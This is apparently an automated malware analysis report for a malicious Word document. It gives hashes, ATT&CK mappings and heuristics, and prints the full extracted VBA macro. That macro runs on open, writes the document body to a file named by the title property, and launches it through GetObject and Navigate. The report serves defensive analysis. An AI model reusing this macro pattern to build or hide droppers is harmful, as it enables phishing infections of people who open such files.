Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cd97e9027b39a979…

MALICIOUS

Office (OOXML)

65.9 KB Created: 2021-05-17 07:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 224d5fbd78ccad4a71cd71ca76931ea4 SHA-1: 0769ba5ce4a88ede17e1c4b8cc289e22dff6016f SHA-256: cd97e9027b39a9790d96697d1d4fd203f7249f52430c83644bec641b7e1c8a75
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing a VBA macro that executes upon opening. The macro, named 'Document_Open', calls 'main' which in turn calls 'vbLink'. The 'vbLink' function constructs a URL using document properties and attempts to navigate to it using GetObject. This indicates an attempt to download and execute a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1010 bytes
SHA-256: c6d082d263661818a2b6fcd3711d6e8316905664f03fd3ef8f85662ba5dc5b92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "lenVbDatabase"
Sub main()
vbLink
End Sub

Attribute VB_Name = "storageProcedure"
Function databaseDelete(libBorder)
databaseDelete = libBorder
End Function
Function tmpGeneric()
tmpGeneric = databaseDelete(ActiveDocument.Range.text)
End Function

Attribute VB_Name = "rightLeft"
Function title()
title = ActiveDocument.BuiltInDocumentProperties("title")
End Function
Function subject()
subject = ActiveDocument.BuiltInDocumentProperties("subject") & "1-8455-00A0C91"
End Function
Sub vbLink()
Dim viewVb As String
viewVb = title
Open viewVb For Output As #1
Print #1, tmpGeneric
Close #1
GetObject(subject & "F3880").Navigate title
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: ab8c8fe900cf23424d4de59934733aa347c42a130d9782bb6e3dbbf6bf05a350

Open this report in the interactive analyzer, or submit your own file for analysis.